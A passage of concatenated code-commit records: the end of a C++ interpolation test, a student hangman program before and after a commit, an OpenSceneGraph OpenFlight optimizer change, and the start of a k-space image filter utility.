\"Multidimensions\";\r\n        pcd21 itp(funcName);\r\n        itp.SetComment(\"Y = f(X)    X = x(i,j), Y = y(i)\");\r\n        pcd21::X x0 = { 0.00f, 0.00f };     \/\/ coordinates of the starting point\r\n        pcd21::X x1 = { 6.28f, 6.28f };     \/\/ coordinates of the end point\r\n\t\tconst pcd21::X step = { 0.5f*(x1[0] - x0[0])\/nValues,\r\n\t\t                        0.5f*(x1[1] - x0[1])\/nValues };\r\n        itp.Set(&TestFunc21, x0, x1, nValues*nValues);\r\n        pcd21::X x = x0;\r\n        float err = 0.0;\r\n        for(int j = 0; j < nValues; ++j)\r\n        {\r\n            x[0] = x0[0];\r\n            for(int i = 0; i < nValues; ++i)\r\n            {\r\n                const pcd21::Y y = itp(x);\r\n                err += fabs(TestFunc21(x)[0] - y[0]);\r\n                cout << i << \":\\t\" << funcName << \"[\" << x[0] << \", \" << x[1] << \"] = \" << TestFunc21(x)[0] << \" ~ \" << y[0] << endl;\r\n                x[0] += step[0];\r\n            }\r\n            x[1] += step[1];\r\n        }\r\n        cout << \"Total error = \" << err << endl;\r\n    }\r\n#endif\r\n}\r\n\r\n\r\n} \/\/ Utilities\r\n\r\n\r\nint main()\r\n{\r\n    using namespace Utilities;\r\n\r\n    PrecompData_test test;\r\n\r\n    return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************\nCOSC 501\nElliott Plack\n14 NOV 2013                            Due date: 30 NOV 2013\n\nProblem:\n\tWrite a program that plays the game of HANGMAN(guessing a\n\tmystery word).  Read a word to be guessed from a file into\n\tsuccessive elements of the array WORD. The player must\n\tguess the letters belonging to WORD. A single guessing\n\tsession should be terminated when either all letters have\n\tbeen guessed correctly (player wins) or a specified number\n\tof incorrect guesses have been made (computer wins). A run\n\tmust consist of at least two sessions: one player wins and\n\tone computer wins. The player decides whether or not to\n\tstart a new session. \n\n***************************************************************\/\n\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <time.h> \/\/ for random\nusing namespace std;\n\nifstream inFile;     \/\/ define ifstream to inFile command\nofstream outFile;    \/\/ define outfile2\n\nvoid readString();\nvoid initialize(unsigned long); \/\/ function to initalize everything\nvoid guess(); \n\n\/\/ global variables\n\/\/char guess; \/\/ guess from user\nstring word; \/\/ word to be read from file (the solution)\nstring solution; \/\/ solution (guessed by user)\nunsigned long wordLength; \/\/ length of word\n\n\/\/ functions\n\nint main() \/\/ reads in the file and sets the functions in motion\n{\n\treadString();\n\tinitialize(wordLength); \/\/ sends length of word to initialize function\n\tcout << \"Let's play hangman!\\n\";\n\tguess();\n\n\treturn 0;\n}\n\nvoid readString()\n{\n\tint random20 = 0; \/\/ random number\n\tstring dictionary[20]; \/\/ 20 words to load from file\n\n\tinFile.open(\"Words4Hangman.txt\"); \/\/ open input file\n\n\twhile (inFile.good())\n\t{\n\t\tfor (int i = 0; i < 20; i++)\n\t\t{\n\t\t\tinFile >> dictionary[i]; \/\/ load file and fill dict\n\t\t}\n\t}\n\n\tinFile.close(); \/\/ close the file\n\n\tsrand((int)time(NULL)); \/\/ initialize random seed\n\trandom20 = (rand() % 20); \/\/ set random to 20 +-\n\n\tword = dictionary[rand() % 20]; \/\/ set word = to a random letter in the dictionary\n\tcout << word << endl; \/\/ cheater! (testing)\n\twordLength = word.size(); \/\/ size (length) of the string\n}\n\nvoid initialize(unsigned long wordLength)\n{\n\tsolution.assign(wordLength, '*');\n}\n\nvoid guess()\n{\n\tchar guessLetter = ' '; \/\/ letter to guess\n\tstring solutionOld = solution; \/\/ solution string to compare with\n\tint winning = 0; \/\/ variable to check if won\n\t\n\tcout << solution << endl; \/\/ output solution\n\tcout << \"Guess a letter\\n\";\n\tcin >> guessLetter;\n\n\twhile (winning == 0)\n\t{\n\t\tfor (unsigned long i = 0; i < wordLength; i++)\n\t\t{\n\t\t\tif (guessLetter == word[i])\n\t\t\t{\n\t\t\t\tcout << \"char \" << (i + 1) \/* +1 because first is 0*\/ << \" is \" << guessLetter << endl;\n\t\t\t\tsolution[i] = guessLetter;\n\t\t\t}\n\t\t}\n\n\t\tif (solutionOld.compare(solution) != 0) \/\/ check if solution has changed\n\t\t{\n\t\t\tcout << \"Good guess!\\n\"\n\t\t\t\t<< solution << endl; \/\/ display positive\n\t\t\tsolutionOld = solution; \/\/ set compare string to old for next run.\n\t\t}\n\t}\n}<commit_msg>working (logic errors)<commit_after>\/**************************************************************\nCOSC 501\nElliott Plack\n14 NOV 2013                            Due date: 30 NOV 2013\n\nProblem:\n\tWrite a program that plays the game of HANGMAN(guessing a\n\tmystery word).  Read a word to be guessed from a file into\n\tsuccessive elements of the array WORD. The player must\n\tguess the letters belonging to WORD. A single guessing\n\tsession should be terminated when either all letters have\n\tbeen guessed correctly (player wins) or a specified number\n\tof incorrect guesses have been made (computer wins). A run\n\tmust consist of at least two sessions: one player wins and\n\tone computer wins. The player decides whether or not to\n\tstart a new session. \n\n***************************************************************\/\n\n#include <iomanip>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <time.h> \/\/ for random\nusing namespace std;\n\nifstream inFile;     \/\/ define ifstream to inFile command\nofstream outFile;    \/\/ define outfile2\n\nvoid readString();\nvoid initialize(unsigned long); \/\/ function to initalize everything\nvoid guess(); \n\n\/\/ global variables\n\/\/char guess; \/\/ guess from user\nstring word; \/\/ word to be read from file (the solution)\nstring solution; \/\/ solution (guessed by user)\nunsigned long wordLength; \/\/ length of word\n\n\/\/ functions\n\nint main() \/\/ reads in the file and sets the functions in motion\n{\n\treadString();\n\tinitialize(wordLength); \/\/ sends length of word to initialize function\n\tcout << \"Let's play hangman!\\n\";\n\tguess();\n\n\treturn 0;\n}\n\nvoid readString()\n{\n\tint random20 = 0; \/\/ random number\n\tstring dictionary[20]; \/\/ 20 words to load from file\n\n\tinFile.open(\"Words4Hangman.txt\"); \/\/ open input file\n\n\twhile (inFile.good())\n\t{\n\t\tfor (int i = 0; i < 20; i++)\n\t\t{\n\t\t\tinFile >> dictionary[i]; \/\/ load file and fill dict\n\t\t}\n\t}\n\n\tinFile.close(); \/\/ close the file\n\n\tsrand((int)time(NULL)); \/\/ initialize random seed\n\trandom20 = (rand() % 20); \/\/ set random to 20 +-\n\n\tword = dictionary[rand() % 20]; \/\/ set word = to a random letter in the dictionary\n\tcout << word << endl; \/\/ cheater! (testing)\n\twordLength = word.size(); \/\/ size (length) of the string\n}\n\nvoid initialize(unsigned long wordLength)\n{\n\tsolution.assign(wordLength, '*');\n}\n\nvoid guess()\n{\n\tchar guessLetter = ' '; \/\/ letter to guess\n\tstring solutionOld = solution; \/\/ solution string to compare with\n\tint winning = 0; \/\/ variable to check if won\n\tint guessesCounter = 7;\n\t\n\tcout << solution << endl; \/\/ output solution\n\tcout << \"Guess a letter\\n\";\n\tcin >> guessLetter;\n\n\twhile ((guessesCounter > 0) && (winning == 0)) \/\/\n\t{\n\t\tfor (unsigned long i = 0; i < wordLength; i++) \/\/ loop through word looking for guess\n\t\t{\n\t\t\tif (guessLetter == word[i])\n\t\t\t{\n\t\t\t\tcout << \"char \" << (i + 1) \/* +1 because first is 0*\/ << \" is \" << guessLetter << endl; \/\/ outputs that guess was correct\n\t\t\t\tsolution[i] = guessLetter;\n\t\t\t}\n\t\t}\n\n\t\tif (solutionOld.compare(solution) != 0) \/\/ check if solution has changed\n\t\t{\n\t\t\tif (solution == word) \/\/ thus victory\n\t\t\t{\n\t\t\t\twinning = 1; \/\/ you won\n\t\t\t\tcout << \"Victory!\\n\"; \/\/ quick output for testing\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcout << \"Good guess!\\n\"\n\t\t\t\t\t<< solution << endl; \/\/ display positive\n\t\t\t\tsolutionOld = solution; \/\/ set compare string to old for next run.\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tguessesCounter--; \/\/ decrement guess\n\t\t\tcout << \"The letter \" << guessLetter << \" does not appear in the word.\\n\"\n\t\t\t\t<< \"You have \" << guessesCounter << \"remaining.\\n\"\n\t\t\t\t<< \"Enter another letter: \";\n\t\t\tcin >> guessLetter;\n\t\t}\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ OpenFlight loader for OpenSceneGraph\n\/\/\n\/\/  Copyright (C) 2005-2006  Brede Johansen\n\/\/\n\n#include <osgSim\/OpenFlightOptimizer>\n\n#include <osg\/Notify>\n#include <osg\/Geode>\n\n#include <osgUtil\/Tesselator>\n#include <osgUtil\/Optimizer>\n\n#include <vector>\n#include <map>\n\nusing namespace osgFlightUtil;\n\n\nvoid Optimizer::optimize(osg::Node* node)\n{\n    unsigned int options = 0;\n    \n    const char* env = getenv(\"OSG_FLIGHTUTIL_OPTIMIZER\");\n    if (env)\n    {\n        std::string str(env);\n\n        if(str.find(\"OFF\")!=std::string::npos) options = 0;\n\n        if(str.find(\"~DEFAULT\")!=std::string::npos) options ^= DEFAULT_OPTIMIZATIONS;\n        else if(str.find(\"DEFAULT\")!=std::string::npos) options |= DEFAULT_OPTIMIZATIONS;\n\n        if(str.find(\"~TESSELATE_POLYGON\")!=std::string::npos) options ^= TESSELATE_POLYGON;\n        else if(str.find(\"TESSELATE_POLYGON\")!=std::string::npos) options |= TESSELATE_POLYGON;\n\n        if(str.find(\"~MAKE_LIT\")!=std::string::npos) options ^= MAKE_LIT;\n        else if(str.find(\"MAKE_LIT\")!=std::string::npos) options |= MAKE_LIT;\n\n        if(str.find(\"~MERGE_GEODES\")!=std::string::npos) options ^= MERGE_GEODES;\n        else if(str.find(\"MERGE_GEODES\")!=std::string::npos) options |= MERGE_GEODES;\n    }\n    else\n    {\n        options = DEFAULT_OPTIMIZATIONS;\n    }\n\n    optimize(node,options);\n}\n\nvoid Optimizer::optimize(osg::Node* node, unsigned int options)\n{\n    if (options & TESSELATE_POLYGON)\n    {\n        osg::notify(osg::INFO)<<\"osgFlightUtil::Optimizer::optimize() doing TESSELATE_POLYGON\"<<std::endl;\n\n        TesselateVisitor visitor;\n        node->accept(visitor);\n    }\n\n    if (options & MAKE_LIT)\n    {\n        osg::notify(osg::INFO)<<\"osgFlightUtil::Optimizer::optimize() doing MAKE_LIT\"<<std::endl;\n\n        MakeLitVisitor visitor;\n        node->accept(visitor);\n    }\n\n    if (options & MERGE_GEODES)\n    {\n        osg::notify(osg::INFO)<<\"osgFlightUtil::Optimizer::optimize() doing MERGE_GEODES\"<<std::endl;\n\n        MergeGeodesVisitor visitor;\n        node->accept(visitor);\n    }\n}\n\n\nvoid Optimizer::TesselateVisitor::apply(osg::Geode& geode)\n{\n    for (unsigned int i=0; i<geode.getNumDrawables(); ++i)\n    {\n        osg::Geometry* geometry = dynamic_cast<osg::Geometry*>(geode.getDrawable(i));\n        if (geometry)\n        {\n            if (hasPolygons(*geometry))\n            {\n                \/\/ Tesselate\n                osgUtil::Tesselator tesselator;\n                tesselator.retesselatePolygons(*geometry);\n            }\n        }\n    }\n}\n\nbool Optimizer::TesselateVisitor::hasPolygons(osg::Geometry& geometry)\n{\n    for (unsigned int i=0; i<geometry.getNumPrimitiveSets(); ++i)\n    {\n        if (geometry.getPrimitiveSet(i)->getMode() == osg::PrimitiveSet::POLYGON)\n            return true;\n    }\n\n    return false;\n}\n\n\nvoid Optimizer::MakeLitVisitor::apply(osg::Geode& \/*geode*\/)\n{\n#if 0 \/\/ TODO\n    osg::StateSet* stateset = geode.getStateSet();\n    if (stateset)\n    {\n        \/\/ Not lit?\n        if (!(stateset->getMode(GL_LIGHTING)&osg::StateAttribute::ON))\n        {\n            stateset->setMode(GL_LIGHTING, osg::StateAttribute::ON);\n            for (unsigned int i=0; i<geode.getNumDrawables(); ++i)\n            {\n                osg::Geometry* geometry = dynamic_cast<osg::Geometry*>(geode.getDrawable(i));\n                if (geometry)\n                {\n                    if () TODO Compare vertex array length and normal array length + normal binding.\n                    {\n                        \/\/ generate normals\n                        osgUtil::SmoothingVisitor smoother;\n                        smoother.smooth(*geometry);\n                    }\n                }\n            }\n        }\n    }\n#endif\n}\n\n\/** Need to share stateset before merging geodes.\n  *\/\nclass GeodeStateOptimizer : public osgUtil::Optimizer::StateVisitor\n{\n    public:\n\n        GeodeStateOptimizer():\n            osgUtil::Optimizer::StateVisitor() {}\n\n        void optimize(osg::Group& group)\n        {\n            for (unsigned int i=0; i<group.getNumChildren(); ++i)\n            {\n                osg::Node* child = group.getChild(i);\n                if (typeid(*child)==typeid(osg::Geode)) \n                {\n                    osg::Geode* geode = (osg::Geode*)child;\n                    addStateSet(geode->getStateSet(),geode);\n                }\n            }\n\n            osgUtil::Optimizer::StateVisitor::optimize();\n        }\n\n            \n};\n\n\nvoid Optimizer::MergeGeodesVisitor::apply(osg::Group& group)\n{\n    mergeGeodes(group);\n    traverse(group);\n}\n\n\n\/\/ Requires shared stateset to work. Run GeodeStateOptimizer before MergeGeodesVisitor.\nstruct LessGeode\n{\n    bool operator() (const osg::Geode* lhs,const osg::Geode* rhs) const\n    {\n        if (lhs->getStateSet()<rhs->getStateSet()) return true;\n\/\/      if (rhs->getStateSet()<lhs->getStateSet()) return false;\n        return false;\n    }\n};\n\nvoid Optimizer::MergeGeodesVisitor::mergeGeodes(osg::Group& group)\n{\n    {\n        GeodeStateOptimizer gsopt;\n        gsopt.optimize(group);\n    }\n\n    typedef std::vector<osg::Geode*>                      DuplicateList;\n    typedef std::map<osg::Geode*,DuplicateList,LessGeode> GeodeDuplicateMap;\n\n    GeodeDuplicateMap geodeDuplicateMap;\n\n    for (unsigned int i=0; i<group.getNumChildren(); ++i)\n    {\n        osg::Node* child = group.getChild(i);\n        if (typeid(*child)==typeid(osg::Geode)) \n        {\n            osg::Geode* geode = (osg::Geode*)child;\n            geodeDuplicateMap[geode].push_back(geode);\n        }\n    }\n\n    \/\/ merge\n    for(GeodeDuplicateMap::iterator itr=geodeDuplicateMap.begin();\n        itr!=geodeDuplicateMap.end();\n        ++itr)\n    {\n        if (itr->second.size()>1)\n        {\n            osg::Geode* lhs = itr->second[0];\n            for(DuplicateList::iterator dupItr=itr->second.begin()+1;\n                dupItr!=itr->second.end();\n                ++dupItr)\n            {\n                osg::Geode* rhs = *dupItr;\n                \n                if (mergeGeode(*lhs,*rhs))\n                {\n                    group.removeChild(rhs);\n\n                    static int co = 0;\n                    osg::notify(osg::INFO)<<\"merged and removed Geode \"<<++co<<std::endl;\n                }\n            }\n        }\n    }\n}\n\nbool Optimizer::MergeGeodesVisitor::mergeGeode(osg::Geode& lhs, osg::Geode& rhs)\n{\n    for (unsigned int i=0; i<rhs.getNumDrawables(); ++i)\n    {\n        lhs.addDrawable(rhs.getDrawable(i));\n    }\n\n    return true;\n}\n<commit_msg>Removed explict definition of osgUtil::Optimizer::StateVisitor to attempt to get round VS 6.0 cruddiness.<commit_after>\/\/\n\/\/ OpenFlight loader for OpenSceneGraph\n\/\/\n\/\/  Copyright (C) 2005-2006  Brede Johansen\n\/\/\n\n#include <osgSim\/OpenFlightOptimizer>\n\n#include <osg\/Notify>\n#include <osg\/Geode>\n\n#include <osgUtil\/Tesselator>\n#include <osgUtil\/Optimizer>\n\n#include <vector>\n#include <map>\n\nusing namespace osgFlightUtil;\n\n\nvoid Optimizer::optimize(osg::Node* node)\n{\n    unsigned int options = 0;\n    \n    const char* env = getenv(\"OSG_FLIGHTUTIL_OPTIMIZER\");\n    if (env)\n    {\n        std::string str(env);\n\n        if(str.find(\"OFF\")!=std::string::npos) options = 0;\n\n        if(str.find(\"~DEFAULT\")!=std::string::npos) options ^= DEFAULT_OPTIMIZATIONS;\n        else if(str.find(\"DEFAULT\")!=std::string::npos) options |= DEFAULT_OPTIMIZATIONS;\n\n        if(str.find(\"~TESSELATE_POLYGON\")!=std::string::npos) options ^= TESSELATE_POLYGON;\n        else if(str.find(\"TESSELATE_POLYGON\")!=std::string::npos) options |= TESSELATE_POLYGON;\n\n        if(str.find(\"~MAKE_LIT\")!=std::string::npos) options ^= MAKE_LIT;\n        else if(str.find(\"MAKE_LIT\")!=std::string::npos) options |= MAKE_LIT;\n\n        if(str.find(\"~MERGE_GEODES\")!=std::string::npos) options ^= MERGE_GEODES;\n        else if(str.find(\"MERGE_GEODES\")!=std::string::npos) options |= MERGE_GEODES;\n    }\n    else\n    {\n        options = DEFAULT_OPTIMIZATIONS;\n    }\n\n    optimize(node,options);\n}\n\nvoid Optimizer::optimize(osg::Node* node, unsigned int options)\n{\n    if (options & TESSELATE_POLYGON)\n    {\n        osg::notify(osg::INFO)<<\"osgFlightUtil::Optimizer::optimize() doing TESSELATE_POLYGON\"<<std::endl;\n\n        TesselateVisitor visitor;\n        node->accept(visitor);\n    }\n\n    if (options & MAKE_LIT)\n    {\n        osg::notify(osg::INFO)<<\"osgFlightUtil::Optimizer::optimize() doing MAKE_LIT\"<<std::endl;\n\n        MakeLitVisitor visitor;\n        node->accept(visitor);\n    }\n\n    if (options & MERGE_GEODES)\n    {\n        osg::notify(osg::INFO)<<\"osgFlightUtil::Optimizer::optimize() doing MERGE_GEODES\"<<std::endl;\n\n        MergeGeodesVisitor visitor;\n        node->accept(visitor);\n    }\n}\n\n\nvoid Optimizer::TesselateVisitor::apply(osg::Geode& geode)\n{\n    for (unsigned int i=0; i<geode.getNumDrawables(); ++i)\n    {\n        osg::Geometry* geometry = dynamic_cast<osg::Geometry*>(geode.getDrawable(i));\n        if (geometry)\n        {\n            if (hasPolygons(*geometry))\n            {\n                \/\/ Tesselate\n                osgUtil::Tesselator tesselator;\n                tesselator.retesselatePolygons(*geometry);\n            }\n        }\n    }\n}\n\nbool Optimizer::TesselateVisitor::hasPolygons(osg::Geometry& geometry)\n{\n    for (unsigned int i=0; i<geometry.getNumPrimitiveSets(); ++i)\n    {\n        if (geometry.getPrimitiveSet(i)->getMode() == osg::PrimitiveSet::POLYGON)\n            return true;\n    }\n\n    return false;\n}\n\n\nvoid Optimizer::MakeLitVisitor::apply(osg::Geode& \/*geode*\/)\n{\n#if 0 \/\/ TODO\n    osg::StateSet* stateset = geode.getStateSet();\n    if (stateset)\n    {\n        \/\/ Not lit?\n        if (!(stateset->getMode(GL_LIGHTING)&osg::StateAttribute::ON))\n        {\n            stateset->setMode(GL_LIGHTING, osg::StateAttribute::ON);\n            for (unsigned int i=0; i<geode.getNumDrawables(); ++i)\n            {\n                osg::Geometry* geometry = dynamic_cast<osg::Geometry*>(geode.getDrawable(i));\n                if (geometry)\n                {\n                    if () TODO Compare vertex array length and normal array length + normal binding.\n                    {\n                        \/\/ generate normals\n                        osgUtil::SmoothingVisitor smoother;\n                        smoother.smooth(*geometry);\n                    }\n                }\n            }\n        }\n    }\n#endif\n}\n\n\/** Need to share stateset before merging geodes.\n  *\/\nclass GeodeStateOptimizer : public osgUtil::Optimizer::StateVisitor\n{\n    public:\n\n        GeodeStateOptimizer():\n            osgUtil::Optimizer::StateVisitor() {}\n\n        void optimize(osg::Group& group)\n        {\n            for (unsigned int i=0; i<group.getNumChildren(); ++i)\n            {\n                osg::Node* child = group.getChild(i);\n                if (typeid(*child)==typeid(osg::Geode)) \n                {\n                    osg::Geode* geode = (osg::Geode*)child;\n                    addStateSet(geode->getStateSet(),geode);\n                }\n            }\n\n            StateVisitor::optimize();\n        }\n\n            \n};\n\n\nvoid Optimizer::MergeGeodesVisitor::apply(osg::Group& group)\n{\n    mergeGeodes(group);\n    traverse(group);\n}\n\n\n\/\/ Requires shared stateset to work. Run GeodeStateOptimizer before MergeGeodesVisitor.\nstruct LessGeode\n{\n    bool operator() (const osg::Geode* lhs,const osg::Geode* rhs) const\n    {\n        if (lhs->getStateSet()<rhs->getStateSet()) return true;\n\/\/      if (rhs->getStateSet()<lhs->getStateSet()) return false;\n        return false;\n    }\n};\n\nvoid Optimizer::MergeGeodesVisitor::mergeGeodes(osg::Group& group)\n{\n    {\n        GeodeStateOptimizer gsopt;\n        gsopt.optimize(group);\n    }\n\n    typedef std::vector<osg::Geode*>                      DuplicateList;\n    typedef std::map<osg::Geode*,DuplicateList,LessGeode> GeodeDuplicateMap;\n\n    GeodeDuplicateMap geodeDuplicateMap;\n\n    for (unsigned int i=0; i<group.getNumChildren(); ++i)\n    {\n        osg::Node* child = group.getChild(i);\n        if (typeid(*child)==typeid(osg::Geode)) \n        {\n            osg::Geode* geode = (osg::Geode*)child;\n            geodeDuplicateMap[geode].push_back(geode);\n        }\n    }\n\n    \/\/ merge\n    for(GeodeDuplicateMap::iterator itr=geodeDuplicateMap.begin();\n        itr!=geodeDuplicateMap.end();\n        ++itr)\n    {\n        if (itr->second.size()>1)\n        {\n            osg::Geode* lhs = itr->second[0];\n            for(DuplicateList::iterator dupItr=itr->second.begin()+1;\n                dupItr!=itr->second.end();\n                ++dupItr)\n            {\n                osg::Geode* rhs = *dupItr;\n                \n                if (mergeGeode(*lhs,*rhs))\n                {\n                    group.removeChild(rhs);\n\n                    static int co = 0;\n                    osg::notify(osg::INFO)<<\"merged and removed Geode \"<<++co<<std::endl;\n                }\n            }\n        }\n    }\n}\n\nbool Optimizer::MergeGeodesVisitor::mergeGeode(osg::Geode& lhs, osg::Geode& rhs)\n{\n    for (unsigned int i=0; i<rhs.getNumDrawables(); ++i)\n    {\n        lhs.addDrawable(rhs.getDrawable(i));\n    }\n\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  qikfilter.cpp\n *\n *  Copyright (c) 2015 Tobias Wood.\n *\n *  This Source Code Form is subject to the terms of the Mozilla Public\n *  License, v. 2.0. If a copy of the MPL was not distributed with this\n *  file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n *\/\n\n#include <time.h>\n#include <getopt.h>\n#include <iostream>\n#include <atomic>\n#include <sstream>\n#include \"Eigen\/Dense\"\n\n#include \"itkImageSource.h\"\n#include \"itkConstNeighborhoodIterator.h\"\n#include \"itkImageRegionIteratorWithIndex.h\"\n#include \"itkMultiplyImageFilter.h\"\n#include \"itkDivideImageFilter.h\"\n#include \"itkComplexToComplexFFTImageFilter.h\"\n#include \"itkInverseFFTImageFilter.h\"\n#include \"itkFFTShiftImageFilter.h\"\n#include \"itkComplexToModulusImageFilter.h\"\n#include \"itkFFTPadImageFilter.h\"\n#include \"itkExtractImageFilter.h\"\n#include \"itkPasteImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n\n#include \"QI\/Types.h\"\n#include \"QI\/Util.h\"\n\nusing namespace std;\nusing namespace Eigen;\n\nclass FilterKernel {\n    \n};\n\nclass TukeyKernel : FilterKernel {\nprotected:\n    double m_a = 0.75;\n    double m_q = 0.25;\n    int m_hx = 0, m_hy = 0, m_hz = 0;\n    \npublic:\n    void setSize(const int sx, const int sy, const int sz) {\n        m_hx = sx \/ 2;  m_hy = sy \/ 2;  m_hz = sz \/ 2;\n    }\n    void setAQ(const double a, const double q) {\n        m_a = a;\n        m_q = q;\n    }\n    \n    double operator() (const int x, const int y, const int z) const {\n            const double rx = fmod(static_cast<double>(x)\/m_hx + 1.0, 2.0) - 1.0;\n            const double ry = fmod(static_cast<double>(y)\/m_hy + 1.0, 2.0) - 1.0;\n            const double rz = fmod(static_cast<double>(z)\/m_hz + 1.0, 2.0) - 1.0;\n            const double r = sqrt((rx*rx + ry*ry + rz*rz) \/ 3);\n            const double v = (r <= (1 - m_a)) ? 1 : 0.5*((1+m_q)+(1-m_q)*cos((M_PI\/m_a)*(r - 1 + m_a)));\n            return v;\n    }\n};\n\n\nnamespace itk {\n\ntemplate<typename ImageType>\nclass KSpaceFilter : public ImageToImageFilter<ImageType, ImageType> {\npublic:\n    typedef ImageType                          TImage;\n    typedef KSpaceFilter                       Self;\n    typedef ImageToImageFilter<TImage, TImage> Superclass;\n    typedef SmartPointer<Self>                 Pointer;\n\nprotected:\n    TukeyKernel m_kernel;\n    bool m_WriteKernel = false;\n\n    KSpaceFilter(){}\n    ~KSpaceFilter(){}\n\npublic:\n    itkNewMacro(Self);\n    itkTypeMacro(KSpaceFilter, ImageSource);\n    itkSetMacro(WriteKernel, bool);\n    \n    virtual void GenerateOutputInformation() override {\n        Superclass::GenerateOutputInformation();\n        typename TImage::SizeType size = this->GetOutput()->GetLargestPossibleRegion().GetSize();\n        m_kernel.setSize(size[0], size[1], size[2]);\n    }\n    \n    void SetKernel(const TukeyKernel &k) { m_kernel = k; }\n\nprotected:\n    virtual void ThreadedGenerateData(const typename TImage::RegionType &region, ThreadIdType threadId) override {\n        typename TImage::IndexType startIndex = this->GetInput()->GetLargestPossibleRegion().GetIndex();\n        itk::ImageRegionIterator<TImage> outIt(this->GetOutput(),region);\n        itk::ImageRegionConstIteratorWithIndex<TImage> inIt(this->GetInput(),region);\n        inIt.GoToBegin();\n        outIt.GoToBegin();\n        while(!inIt.IsAtEnd()) {\n            const auto index = inIt.GetIndex() - startIndex; \/\/ Might be padded to a negative start\n            const typename TImage::PixelType::value_type k = m_kernel(index[0], index[1], index[2]);\n            const typename TImage::PixelType v = inIt.Get();\n            if (m_WriteKernel) {\n                outIt.Set(k);\n            } else {\n                outIt.Set(v * k);\n            }\n            ++inIt;\n            ++outIt;\n        }\n    }\n\nprivate:\n    KSpaceFilter(const Self &);\n    void operator=(const Self &);\n};\n\n} \/\/ End namespace itk\n\ntemplate<typename TImage> typename TImage::Pointer FilterVolume(const typename TImage::Pointer invol, const TukeyKernel &kernel, const bool verbose, const bool debug, const string &out_name);\n\ntemplate<> QI::ImageXD::Pointer FilterVolume<QI::ImageXD>(const typename QI::ImageXD::Pointer invol, const TukeyKernel &kernel, const bool verbose, const bool debug, const string &out_name) {\n    typedef itk::FFTPadImageFilter<QI::ImageXD> TPad;\n    typedef itk::ComplexToComplexFFTImageFilter<QI::ImageXD> FFTType;\n    typedef itk::FFTShiftImageFilter<QI::ImageXD, QI::ImageXD> TShift;\n    typedef itk::KSpaceFilter<QI::ImageXD> TFilter;\n\n    auto padFFT = TPad::New();\n    padFFT->SetInput(invol);\n    auto forwardFFT = FFTType::New();\n    forwardFFT->SetInput(padFFT->GetOutput());\n    auto k_filter = TFilter::New();\n    k_filter->SetKernel(kernel);\n    k_filter->SetInput(forwardFFT->GetOutput());\n    auto inverseFFT = FFTType::New();\n    inverseFFT->SetTransformDirection(FFTType::INVERSE);\n    inverseFFT->SetInput(k_filter->GetOutput());\n    auto extract = itk::ExtractImageFilter<QI::ImageXD, QI::ImageXD>::New();\n    extract->InPlaceOn();\n    extract->SetInput(inverseFFT->GetOutput());\n    extract->SetDirectionCollapseToSubmatrix();\n    extract->SetExtractionRegion(invol->GetLargestPossibleRegion());\n    extract->Update();\n    typename QI::ImageXD::Pointer outvol = extract->GetOutput();\n    outvol->DisconnectPipeline();\n    return outvol;\n}\n\ntemplate<> QI::ImageD::Pointer FilterVolume<QI::ImageD>(const typename QI::ImageD::Pointer invol, const TukeyKernel &kernel, const bool verbose, const bool debug, const string &out_name) {\n    typedef itk::CastImageFilter<QI::ImageD, QI::ImageXD> TCast;\n    auto caster = TCast::New();\n    caster->SetInput(invol);\n    caster->Update();\n    QI::ImageXD::Pointer filtered = FilterVolume<QI::ImageXD>(caster->GetOutput(), kernel, verbose, debug, out_name);\n    if (verbose) cout << \"Taking complex modulus\" << endl;\n    typedef itk::ComplexToModulusImageFilter<QI::ImageXD, QI::ImageD> TMod;\n    auto mod = TMod::New();\n    mod->SetInput(filtered);\n    mod->Update();\n    QI::ImageD::Pointer final = mod->GetOutput();\n    final->DisconnectPipeline();\n    return final;\n}\n\ntemplate<typename TPixel>\nvoid run_pipeline(const std::string &in_name, const std::string &out_name, const bool verbose, const bool debug, const TukeyKernel &kernel) {\n    typedef itk::Image<TPixel, 4> TSeries;\n    typedef itk::Image<TPixel, 3> TVolume;\n\n    if (verbose) cout << \"Opening input file: \" << in_name << endl;\n    typename TSeries::Pointer vols = QI::ReadImage<TSeries>(in_name);\n    auto region = vols->GetLargestPossibleRegion();\n    const size_t nvols = region.GetSize()[3]; \/\/ Save for the loop\n    region.GetModifiableSize()[3] = 0;\n    auto extract = itk::ExtractImageFilter<TSeries, TVolume>::New();\n    extract->SetInput(vols);\n    extract->SetDirectionCollapseToSubmatrix();\n    extract->InPlaceOn();\n    typename itk::PasteImageFilter<TSeries>::Pointer paster = itk::PasteImageFilter<TSeries>::New();\n    typename itk::CastImageFilter<TVolume, TSeries>::Pointer caster = itk::CastImageFilter<TVolume, TSeries>::New();\n    paster->SetDestinationImage(vols);\n    \/\/paster->InPlaceOn();\n    for (int i = 0; i < nvols; i++) {\n        region.GetModifiableIndex()[3] = i;\n        if (verbose) cout << \"Processing volume \" << i << endl;\n        extract->SetExtractionRegion(region);\n        extract->Update();\n        typename TVolume::Pointer outvol = FilterVolume<TVolume>(extract->GetOutput(), kernel, verbose, debug, out_name);\n        caster->SetInput(outvol);\n        caster->Update();\n        paster->SetSourceImage(caster->GetOutput());\n        paster->SetSourceRegion(caster->GetOutput()->GetLargestPossibleRegion());\n        paster->SetDestinationImage(vols);\n        paster->SetDestinationIndex(region.GetIndex());\n        paster->Update();\n        vols = paster->GetOutput();\n    }\n    if (verbose) cout << \"Writing output:\" << out_name + QI::OutExt() << endl;\n    QI::WriteImage(vols, out_name + QI::OutExt());\n    if (verbose) cout << \"Finished.\" << endl;\n}\n\n\/\/******************************************************************************\n\/\/ Arguments \/ Usage\n\/\/******************************************************************************\nconst string usage {\n\"Usage is: qikfilter [options] input \\n\\\n\\n\\\nFilter images in k-Space\\n\\\n\\n\\\nOptions:\\n\\\n    --help, -h           : Print this message.\\n\\\n    --verbose, -v        : Print more information.\\n\\\n    --out, -o path       : Specify an output filename (default image base).\\n\\\n    --filter, -f \\\"a q\\\" : Set Filter a and q values (default 0.75 0.25).\\n\\\n    --debug, -d          : Save all pipeline steps.\\n\\\n    --complex, -x     